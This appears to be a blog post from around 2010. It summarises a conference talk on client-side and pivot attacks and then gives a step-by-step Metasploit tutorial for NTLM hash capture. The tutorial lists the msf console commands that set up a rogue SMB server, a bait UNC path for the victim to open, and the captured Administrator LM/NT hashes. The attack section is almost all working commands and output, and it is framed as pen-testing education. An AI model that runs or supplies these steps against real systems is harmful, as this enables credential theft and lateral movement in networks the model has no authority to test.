Real World Pen Testing Demonstration

Daniel Compton, Information Security Consultant of 7Safe, took the audience through a demonstration of common risks found that he sees whilst carrying out penetration tests for clients. This covered two main areas which were “client side attacks” and “pivot attacks”. The demonstrations were all based on fully patched Windows operating systems with anti-virus protection, firewall protection and the latest patches for 3rd party products. Once the client victim computer was exploited from the Internet, Daniel demonstrated how it was possible to pivot and dive deep into the internal corporate network and extracting passwords and credit card data. You can watch the video demonstration here:

NTLM Authentication Hijack using Metasploit

Local Host: 192.168.1.252/24 (TEST-BT4)
Target Host: 192.168.1.50/24 (LON-CL1)

Step 1: Search for smb pattern

Code:

msf > search smb

Step 2: Use SMB Auxiliary module to capture hashes

Code:

msf > use server/capture/smb
msf auxiliary(smb) > show options
sniff..
msf auxiliary(smb) > set PWFILE /tmp/captured_hashes.txt
msf auxiliary(smb) > set SRVHOST 192.168.1.252
msf auxiliary(smb) > run

Step 3: From the target machine, connect to our machine by using:

Code:

\\192.168.1.252\shared\xxx.jpg

Note: \shared\xxx.jpg is just a fake link (doesn’t exist).

Step 4: Switch to our machine and check if you’ve got the hashes captured

Code:

msf auxiliary(smb) >
[*] Captured 192.168.1.50:1038 LON-CL1\Administrator LMHASH:24c9f38ec487472158851be047f9bd66ee5ef6eb6ff6e04d NTHASH:e52d81bf661f3699cfa4b631aead9ec78416dc8bce17dfd4 OS:Windows 2002 Service Pack 2 2600 LM:Windows 2002 5.1

Press Ctrl-C to exit from msf console.

To display our captured hashes, change to /tmp directory:

Code:

root@bt:/pentest/exploits/framework3# cd /tmp
root@bt:/tmp# cat captured_hashes.txt

[source: http://flexi-learn.blogspot.com/2010/09/ntlm-authentication-hijack.html]